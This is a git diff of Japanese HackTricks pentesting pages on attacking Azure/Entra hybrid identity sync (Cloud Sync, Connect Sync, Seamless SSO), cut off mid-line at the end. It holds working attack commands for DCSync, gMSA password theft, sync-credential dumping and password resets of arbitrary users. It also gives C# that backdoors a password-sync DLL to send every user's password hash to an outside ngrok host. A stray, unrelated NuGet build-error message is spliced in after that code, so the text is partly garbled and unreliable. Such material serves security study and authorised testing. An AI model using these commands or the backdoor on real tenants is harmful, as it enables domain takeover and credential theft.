diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md new file mode 100644 index 000000000..2d5d08648 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md @@ -0,0 +1,154 @@ +# Az - Cloud Sync + +{{#include ../../../../banners/hacktricks-training.md}} + +## 基本情報 + +**Cloud Sync** は、Azure が **AD から Entra ID にユーザーを同期させる新しい方法** です。 + +[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync は、ユーザー、グループ、および連絡先を Microsoft Entra ID に同期させるためのハイブリッドアイデンティティ目標を達成するために設計された Microsoft の新しい提供物です。これは、Microsoft Entra Connect アプリケーションの代わりに Microsoft Entra クラウドプロビジョニングエージェントを使用することで実現されます。ただし、Microsoft Entra Connect Sync と併用することもできます。 + +### 生成されるプリンシパル + +これが機能するためには、Entra ID とオンプレミスディレクトリの両方にいくつかのプリンシパルが作成されます。 + +- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) の役割で作成されます。 + +> [!WARNING] +> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用される可能性がありました**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。しかし、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。 + +- Entra ID では、メンバーや所有者のないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。 + +- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要なカスタムアカウント**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) が作成されます。通常、デフォルトのものが作成されます。 + +> [!WARNING] +> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は [こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。 + +> [!NOTE] +> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、特権が直接割り当てられたユーザーは **同期される可能性があります**。 + +## パスワード同期 + +このセクションは以下のものと非常に似ています: + +{{#ref}} +az-connect-sync.md +{{#endref}} + +- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできるようになります**。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。 +- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、オンプレミスドメインのパスワードが自動的に同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によると、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md) を参照してください。 +- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミスの AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。 + +## ピボッティング + +### AD --> Entra ID + +- AD ユーザーが AD から Entra ID に同期されている場合、AD から Entra ID へのピボッティングは簡単です。**ユーザーのパスワードを侵害するか、ユーザーのパスワードを変更するか、新しいユーザーを作成して Entra ID ディレクトリに同期されるのを待つだけです（通常は数分以内）**。 + +例えば、次のようにできます。 +- **`provAgentgMSA`** アカウントを侵害し、DCSync 攻撃を実行し、ユーザーのパスワードを解読して、それを使用して Entra ID にログインします。 +- AD に新しいユーザーを作成し、それが Entra ID に同期されるのを待ってから、それを使用して Entra ID にログインします。 +- AD のユーザーのパスワードを変更し、それが Entra ID に同期されるのを待ってから、それを使用して Entra ID にログインします。 + +**`provAgentgMSA`** の資格情報を侵害するには: +```powershell +# Enumerate provAgentgMSA account +Get-ADServiceAccount -Filter * -Server domain.local +# Find who can read the password of the gMSA (usually only the DC computer account) +Get-ADServiceAccount -Identity pGMSA_$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword + +# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz: +lsadump::dcsync /domain:domain.local /user:$ +sekurlsa::pth /user:$ /domain:domain.local /ntlm: /run:"cmd.exe" + +# Or you can change who can read the password of the gMSA account to all domain admins for example: +Set-ADServiceAccount -Identity 'pGMSA_$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins' + +# Read the password of the gMSA +$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword' + +#Install-Module -Name DSInternals +#Import-Module DSInternals +$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob +ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword +``` +今、gMSAのハッシュを使用して、`provAgentgMSA`アカウントを介してEntra IDに対してPass-the-Hash攻撃を実行し、ADに対してDCSync攻撃を行うための永続性を維持することができます。 + +Active Directoryを侵害する方法についての詳細は、以下を確認してください： + +{{#ref}} +https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html +{{#endref}} + +> [!NOTE] +> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する可能性のある方法を確認してください： + +{{#ref}} +../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +{{#endref}} + +永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用して、Cloud Syncエージェントによってパスワード同期を実行するために使用される**`Microsoft.Online.Passwordsynchronisation.dll`**のバックドアを作成することが可能であると示唆しています。このdllは**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にあります。このdllは、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています（`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください）： +```csharp +using System; +using System.Net; +using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices; + +namespace Microsoft.Online.PasswordSynchronization +{ +// Token: 0x0200003E RID: 62 +public class PasswordHashGenerator : ClearPasswordHashGenerator +{ +// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC +public override PasswordHashData CreatePasswordHash(ChangeObject changeObject) +{ +PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject); +try +{ +using (WebClient webClient = new WebClient()) +{ +webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash); +} +} +catch (Exception) +{ +} +return new PasswordHashData +{ +Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash), +RawHash = passwordHashData.RawHash +}; +} +} +} +``` +NuGet パッケージの復元がプロジェクト AzTokenFinder に対して失敗しました: パッケージ 'System.Security.Cryptography.X509Certificates' のバージョン '4.3.2' が見つかりません。 +C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' で見つかりませんでした。 +詳細な警告とエラーについては、エラーリストウィンドウを参照してください。 + + + +### Entra ID --> AD + +- **Password Writeback** が有効になっている場合、Entra ID からいくつかのユーザーのパスワードを変更でき、AD ネットワークにアクセスできる場合は、それを使用して接続できます。詳細については、パスワードの書き戻しがそのエージェントを使用して構成されているため、[Az Connect Sync セクション](./az-connect-sync.md)を確認してください。 + +- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** もサポートしていますが、長い時間が経った後、EntraID ユーザーを AD に同期できないことがわかりました。同期できるのは、パスワードハッシュで同期された EntraID ユーザーのみで、同期先のドメインと同じドメインフォレストに属するドメインから来ている必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください： + +> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウド作成セキュリティグループのみを含めることができます。 +> - 同期され、クラウド作成セキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからでも構いませんが、すべて同じフォレストからでなければなりません。 + +したがって、このサービスの攻撃面（および有用性）は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります（両方が同じフォレストに存在する必要があるようです）。 + + +### Enumeration +```bash +# Check for the gMSA SA +Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'" + +# Get all the configured cloud sync agents (usually one per on-premise domain) +## In the machine name of each you can infer the name of the domain +az rest \ +--method GET \ +--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \ +--headers "Content-Type=application/json" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md new file mode 100644 index 000000000..1e8a48cc5 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md @@ -0,0 +1,202 @@ +# Az - Connect Sync + +{{#include ../../../../banners/hacktricks-training.md}} + +## 基本情報 + +[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。 + +これを使用するには、AD 環境内のサーバーに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。 + +
+ +**Connect Sync** は基本的に、**AD から Entra ID にユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです: + +{{#ref}} +az-cloud-sync.md +{{#endref}} + +### 生成されるプリンシパル + +- アカウント **`MSOL_`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [ドキュメント](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD における **レプリケーション (DCSync) 権限** を持つことを意味します。 +- これは、このアカウントを侵害した者がオンプレミス ドメインを侵害できることを意味します。 +- 管理サービスアカウント **`ADSyncMSA`** がオンプレミス AD に特別なデフォルト権限なしで作成されます。 +- Entra ID には、証明書を持つサービスプリンシパル **`ConnectSyncProvisioning_ConnectSync_`** が作成されます。 + +## パスワードの同期 + +### パスワードハッシュ同期 + +このコンポーネントは、**AD から Entra ID にパスワードを同期する**ためにも使用できるので、ユーザーは AD のパスワードを使用して Entra ID に接続できます。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。 + +[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。 + +基本的に、すべての **ユーザー** と **パスワードハッシュのハッシュ** がオンプレミスから Azure AD に同期されます。ただし、**平文のパスワード** や **元の** **ハッシュ** は Azure AD に送信されません。 + +**ハッシュの同期** は毎 **2 分** ごとに行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD で **同期されません**。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセス** し続けることができます。 + +オンプレミスのユーザーが Azure リソースにアクセスしようとすると、**認証は Azure AD で行われます**。 + +> [!NOTE] +> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザー** は、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの一部である他のユーザーや、高い権限が直接割り当てられたユーザーは **同期される可能性があります**。 + +### パスワードの書き戻し + +この構成により、ユーザーが Entra ID でパスワードを変更したときに **AD にパスワードを同期する**ことができます。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_` ユーザーに [ドキュメントに記載されているように](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **より多くの権限を付与する必要があります**。これにより、AD 内の任意のユーザーのパスワードを **変更できる**ようになります。 + +これは、侵害された Entra ID から AD を侵害するために特に興味深いです。なぜなら、ほぼすべてのユーザーのパスワードを変更できるからです。 + +ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば: + +- 直接高い権限が割り当てられたユーザー。 +- **`DNSAdmins`** グループのユーザー。 +- GPO を作成し、それを OU に割り当てた **`Group Policy Creator Owners`** グループのユーザーは、作成した GPO を変更できる。 +- Active Directory に証明書を発行できる **`Cert Publishers Group`** のユーザー。 +- **`adminCount` 属性が 1** でない高い権限を持つ他のグループのユーザー。 + +## AD --> Entra ID のピボット + +### Connect Sync の列挙 + +ユーザーを確認してください: +```bash +# Check for the users created by the Connect Sync +Install-WindowsFeature RSAT-AD-PowerShell +Import-Module ActiveDirectory +Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl +Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl +Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl + +# Check it using raw LDAP queries without needing an external module +$searcher = New-Object System.DirectoryServices.DirectorySearcher +$searcher.Filter = "(samAccountName=MSOL_*)" +$searcher.FindAll() +$searcher.Filter = "(samAccountName=ADSyncMSA*)" +$searcher.FindAll() +$searcher.Filter = "(samAccountName=Sync_*)" +$searcher.FindAll() +``` +**Connect Sync構成**（ある場合）を確認してください： +```bash +az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" +# Check if password sychronization is enabled, if password and group writeback are enabled... +``` +### パスワードの発見 + +**`MSOL_*`** ユーザー（および作成された場合は **Sync\_\*** ユーザー）のパスワードは、**Entra ID Connect がインストールされているサーバーの SQL サーバー** に **保存されています。** 管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\ +データベースは `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` にあります。 + +テーブルの1つから構成を抽出することが可能で、その中には暗号化されたものがあります： + +`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` + +**暗号化された構成** は **DPAPI** で暗号化されており、オンプレミス AD の **`MSOL_*`** ユーザーのパスワードと AzureAD の **Sync\_\*** のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。 + +これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 + +### MSOL\_\* の悪用 +```bash +# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module +Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version +Import-Module AADInternals +Get-AADIntSyncCredentials +# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main + +# Using https://github.com/dirkjanm/adconnectdump +python .\adconnectdump.py [domain.local]/administrator:@192.168.10.80 +.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt +python .\adconnectdump.py [domain.local]/administrator:@192.168.10.80 --existing-db --from-file out.txt + +# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD +runas /netonly /user:defeng.corp\MSOL_123123123123 cmd +Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' +``` +> [!WARNING] +> 以前の攻撃では、Entra ID ユーザー `Sync_*` に接続するために他のパスワードが侵害され、その後 Entra ID が侵害されました。しかし、このユーザーはもはや存在しません。 + +### ConnectSyncProvisioning_ConnectSync\_ の悪用 + +このアプリケーションは、Entra ID または Azure 管理ロールが割り当てられていない状態で作成されます。しかし、以下の API 権限があります： + +- Microsoft Entra AD 同期サービス +- `ADSynchronization.ReadWrite.All` +- Microsoft パスワードリセットサービス +- `PasswordWriteback.OffboardClient.All` +- `PasswordWriteback.RefreshClient.All` +- `PasswordWriteback.RegisterClientVersion.All` + +このアプリケーションの SP は、文書化されていない API を使用して特権的なアクションを実行するためにまだ使用できるとされていますが、私の知る限りでは PoC はまだ見つかっていません。\ +いずれにせよ、これが可能であると考えると、このサービスプリンシパルとしてログインするための証明書を見つけて悪用する方法をさらに探ることは興味深いでしょう。 + +この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました（**サービスプリンシパル** は常に新しい証明書を自分に割り当てることができます）そして、その後 SP として持続性を維持するために使用します。 + +これらのアクションを実行するために、次のツールが公開されています：[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。 + +私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。 + +### Sync\_\* の悪用 [非推奨] + +> [!WARNING] +> 以前は、`Sync_*` というユーザーが Entra ID に作成され、非常に敏感な権限が割り当てられており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行できました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_`** が使用されています。ただし、一部の環境にはまだ存在する可能性があるため、確認する価値があります。 + +**`Sync_*`** アカウントを侵害することで、任意のユーザー（グローバル管理者を含む）の **パスワードをリセット** することが可能です。 +```bash +Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version +Import-Module AADInternals + +# This command, run previously, will give us alse the creds of this account +Get-AADIntSyncCredentials + +# Get access token for Sync_* account +$passwd = ConvertTo-SecureString '' -AsPlainText - Force +$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd) +Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache + +# Get global admins +Get-AADIntGlobalAdmins + +# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID) +Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId + +# Reset the users password +Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose + +# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) +``` +クラウドユーザーの**パスワードのみを変更する**ことも可能です（予期しない場合でも）。 +```bash +# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID +# The CloudAnchor is of the format USER_ObjectID. +Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID + +# Reset password +Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers +``` +このユーザーのパスワードをダンプすることも可能です。 + +> [!CAUTION] +> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーは**権限**を持っており、その後**そのサービスプリンシパルにアクセスする**ことで特権昇格を行うことです。 + +### シームレスSSO + +PHSを使用してシームレスSSOを利用することが可能であり、他の悪用に対して脆弱です。以下で確認してください： + +{{#ref}} +seamless-sso.md +{{#endref}} + +## ピボッティング Entra ID --> AD + +- パスワードの書き戻しが有効になっている場合、Entra IDと同期されているAD内の任意のユーザーの**パスワードを変更する**ことができます。 +- グループの書き戻しが有効になっている場合、ADと同期されているEntra ID内の**特権グループにユーザーを追加する**ことができます。 + +## 参考文献 + +- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) +- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf) +- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) +- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/) +- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 126004676..d75ea4a62 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -4,7 +4,7 @@ ## 基本情報 -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。 +[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

@@ -12,15 +12,64 @@ これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。 -デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。 +デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**`AZUREADSSOACC$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でEntra IDに送信されます**。 -**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Azure ADは送信されたパスワードを使用してチケットを復号化します。 +**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Entra IDは送信されたパスワードを使用してチケットを復号化します。 -**Azure AD**は、Kerberos **チケット**を受け入れる**エンドポイント** (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加マシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。 +**Entra ID**は、Kerberos **チケット**を受け入れる**エンドポイント** (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加マシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。 -### オンプレミス -> クラウド +### 列挙 +```bash +# Check if the SSO is enabled in the tenant +Import-Module AADInternals +Invoke-AADIntReconAsOutsider -Domain | Format-Table -ユーザーの**`AZUREADSSOACC$`のパスワードは決して変更されません**。したがって、ドメイン管理者はこのアカウントの**ハッシュを危険にさらすことができ**、それを使用して**シルバーチケットを作成し、任意のオンプレミスユーザーと同期してAzureに接続することができます**。 +# Check if the AZUREADSSOACC$ account exists in the domain +Install-WindowsFeature RSAT-AD-PowerShell +Import-Module ActiveDirectory +Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" + +# Check it using raw LDAP queries without needing an external module +$searcher = New-Object System.DirectoryServices.DirectorySearcher +$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" +$searcher.FindOne() +``` +## ピボット: オンプレ -> クラウド + +> [!WARNING] +> この攻撃について知っておくべき主なことは、Entra ID と同期されたユーザーの TGT または特定の TGS を持っているだけで、クラウドリソースにアクセスできるということです。\ +> これは、クラウドにログインするためにユーザーが使用するチケットだからです。 + +その TGS チケットを取得するために、攻撃者は次のいずれかを持っている必要があります: +- **侵害されたユーザーの TGS:** メモリ内の `HTTP/autologon.microsoftazuread-sso.com` へのチケットを持つユーザーのセッションを侵害すると、クラウドリソースにアクセスするためにそれを使用できます。 +- **侵害されたユーザーの TGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184) や [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) などの多くのツールに実装されている偽の TGT 委任トリックを使用して取得できます。 +- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPass は、この情報を使用してドメインコントローラーと通信し、TGT を生成し、その後 TGS を生成します。 +- **ゴールデンチケット:** KRBTGT キーを持っていれば、攻撃されたユーザーに必要な TGT を作成できます。 +- **AZUREADSSOACC$ アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子 (SID) を使用して攻撃することで、サービスチケットを作成し、クラウドに認証することが可能です（前の方法で実行されたように）。 + +### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) + +[このブログ記事で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または **`AZUREADSSOACC$`** アカウントのハッシュまたはパスワードを持っていれば、ツール **SeamlessPass** を使用してクラウドリソースにアクセスするのは非常に簡単です。 + +最後に、TGT を使用して、ツール [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) を使用することが可能です: +```bash +# Using the TGT to access the cloud +seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt +# Using the TGS to access the cloud +seamlesspass -tenant corp.com -tgs user_tgs.ccache +# Using the victims account hash or password to access the cloud +seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF +seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password +# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID +seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 +seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 +wmic useraccount get name,sid # Get the user SIDs +``` +さらなる情報は、FirefoxをシームレスSSOで動作させるために[**このブログ投稿**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で見つけることができます。 + +### AZUREADSSOACC$アカウントのハッシュを取得する + +ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変更されません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。 ```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' @@ -38,14 +87,20 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 